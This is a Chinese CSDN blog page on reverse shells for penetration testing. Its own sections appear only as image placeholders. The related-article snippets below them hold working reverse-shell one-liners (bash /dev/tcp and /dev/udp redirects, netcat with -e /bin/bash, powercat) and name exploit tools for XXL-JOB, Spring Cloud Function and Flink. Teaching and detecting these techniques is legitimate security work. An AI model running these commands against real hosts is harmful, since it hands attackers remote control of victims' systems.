反弹shell

最新推荐文章于 2024-09-10 20:38:52 发布
最新推荐文章于 2024-09-10 20:38:52 发布
阅读量594 收藏 6
点赞数 2
分类专栏： 渗透测试 文章标签： 反弹shell 渗透测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43148062/article/details/105720883
版权

  1. 什么是反弹shell
  2. NC使用
  3. NC正向连接
  4. NC反向连接
  5. bash反弹shell
  6. 脚本反弹shell



一、什么是反弹shell

通常我们通过web应用某漏洞成功拿到了webshell后，接下来我们往往更像直接获得一个虚拟终端，来方便更好的做后续的渗透。
shell是操作主机的接口，反弹shell就是把shell送给别人，让其他人可以操作自己的计算机。



回到顶部

二、NC使用

NC（netcat）被称为网络工具中的瑞士军刀，体积小巧，但功能强大，NC可以在两台设备上面相互交互，即侦听模式/传输模式。

在这里插入图片描述



回到顶部

三、NC正向连接

在这里插入图片描述



回到顶部

四、NC反向连接

在这里插入图片描述

在这里插入图片描述



回到顶部

五、bash反弹shell

在这里插入图片描述


回到顶部

六、脚本反弹shell

在这里插入图片描述

回到顶部



在这里插入图片描述

知乎：叄贰壹

简书：带只拖鞋去流浪

关注我，带你一起写bug

warning ：未经授权，不得转载

有问题的小伙伴请在下方留言，喜欢就点个赞吧

带只拖鞋去流浪
关注
专栏目录
linux反弹shell的原理详解
01-08
完整命令 反弹shell命令： bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell： nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp/ip/port 0>&1 2>&1 bash -i 打开一个交互式的bash &是为了区分文件1和文件描述符1的 a>&b 的意思是 a>b 2>&1 0代表输入 ，0>&1 意思是，将输出的窗口上所输入的值当作当前窗口的输入。反弹shell后会有两个窗口，即靶机的shell窗口
各种反弹shell方式
m0_58606546的博客
11-17 2332
1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令： 1 bash -i >& /dev/tcp/121.40.248.82/1234 0>&1 1 /bin/bash -i > /dev/tcp/121.40.248.82/1234 0<& 2>&1 1 exec 5<>/dev/tcp/10.10.10.11/443;ca.
内网安全：反弹shell
最新发布
8888的博客
09-10 1579
PowerCat是一个powershell写的tcp/ip瑞士军刀，看一看成ncat的powershell的实现，然后里面也加入了众多好用的功能，如文件上传，smb协议支持，中继模式，生成payload，端口扫描等等。bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1。bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&1。bash -i >&/dev/udp/攻击机_IP/攻击机端口 0>&2。powercat -c 攻击机器IP -p 9999 -v -ep。
【转】反弹Shell，看这一篇就够了
热门推荐
mastergu2的博客
10-26 2万+
前言 在渗透测试实战中，我们经常会遇到Linux系统环境，而让Linux主机反弹个shell是再常见不过的事情了。 反弹shell，就是攻击机监听在某个TCP/UDP端口为服务端，目标机主动发起请求到攻击机监听的端口，并将其命令行的输入输出转到攻击机。 正向连接 假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。 反向连接 那么为什么要用反弹shell呢
反弹shell汇总（超详细）
人无名，便可潜心练剑。
05-27 1万+
反弹shell姿势大全,看这一篇就够啦~
php反弹shell实现代码
10-30
作者想要简化操作流程，因此选择实现了一个反弹Shell到本地监听端口的功能。文档中还提到该代码是在phpspy2008的基础上进行修改，使其成为一个独立的PHP文件，并且上传到服务器上之后，通过设置好反弹的IP和端口来...
反弹shell小工具源码
10-12
依赖PHP环境。修改IP、端口，自动生成命令
反弹shell1
08-03
反弹Shell是一种黑客技术，常用于渗透测试和恶意攻击中，它允许攻击者远程控制目标系统。在这种场景下，攻击者通常在自己的机器上设置一个监听服务，然后在目标机器上执行特定的命令，使得目标机器的Shell（命令行...
Spring cloud function SpEL RCE批量检测脚本，反弹shell脚本
03-30
Spring Cloud Function 是基于Spring Boot 的函数计算框架，它抽象出所有传输细节和...反弹shell脚本：python Spel_RCE_Bash_EXP.py url lhost lport 受影响版本：3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
CVE-2018-3191 反弹shell
05-18
**CVE-2018-3191：反弹Shell漏洞详解** 在信息安全领域，"反弹Shell"是一种常见的攻击手段，常被黑客用于远程控制受感染的系统。CVE-2018-3191是针对这一技术的一个具体安全漏洞实例。这个漏洞可能影响到各种软件或...
Apache-flink 未授权访问任意jar包上传反弹shell.MD
04-12
Apache-flink 未授权访问任意jar包上传反弹shell
XXL-JOB反弹shell利用工具（xxl-jobExploitGUI）
11-03
工具实现了XXL-JOB默认accessToken权限绕过漏洞的单个检测、批量检测、一键反弹shell功能，后续会持续更新优化，添加POC检测等。（由于传播、利用此资源所提供的信息或者工具而造成的任何直接或者间接的后果及损失，...
Golang反弹shell（使用邮件获取反弹地址）
09-29
使用邮件地址作为反弹shell的服务器地址，用于windows的反弹shell，可在编译时选择隐藏弹出窗口 This golng reverse shell fetches the address from your latest email subject, and the subject should be like ...
PHP脚本反弹SHELL
10-20
此脚本可以反弹SHELL到指定地址，得到交互交shell
什么是反弹shell
qq_30503389的博客
06-06 1883
反弹Shell（Reverse Shell）是一种网络攻击技术，用于通过远程主机上的Shell（命令行终端）与攻击者建立连接，从而控制受攻击主机。攻击者通常在受攻击主机上以各种方式植入恶意代码（如后门程序），然后通过网络与该主机上运行的Shell建立反向连接，从而获得对该主机的完全控制权。反弹Shell技术通常是针对目标主机的防火墙和安全措施进行攻击。攻击者首先在目标主机上放置一个能够向外发起TCP或UDP连接的恶意程序，并将其设定为在特定条件下自动启动。
反弹shell的N种姿势
cainsoftware的博客
10-09 292
0x00 前言 在渗透测试的过程中，在拿到webshell以后，如果目标主机是Windows主机，则是通过开3389端口在远程连接，如果目标主机是linux服务器，一般我们都会选择反弹shell来进行操作。在这里总结下反弹shell常见的几种姿势。 0x01 Bash反弹 1.1 方法一 攻击者主机上执行监听： nc -lvvp port 目标主机上执行： bash -i >& /dev/tcp/x.x.x.x/port 0>&1#bash -i 打开一
反弹shell原理与检测思路
weixin_45690589的博客
02-26 748
反弹shell的本质可以定义为：一个client上的bash进程 可以和 server上的进程通信。本质上就是检测 shell进程（如bash）的输入输出是否来自于一个远程的server。由于进程通信的复杂性（例如pipe），会导致单纯的检测shell进程的0 1 2 是否来自socket会存在漏报。但是按照这个思路，检测shell进程的0 1 2 的来源，顺着来源继续跟踪，如果最终是来自一个socket。那么则存在反弹shell的风险。
深度解析：Linux反弹shell的分类与本质
"不一样的视角剖析Linux 反弹shell水印版.pdf" 本文深入探讨了Linux环境下的反弹shell，从一个新的视角进行分类和解析，旨在揭示更多技术细节。作者指出，传统的反弹shell分类通常只分为交互式和非交互式，但这种...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值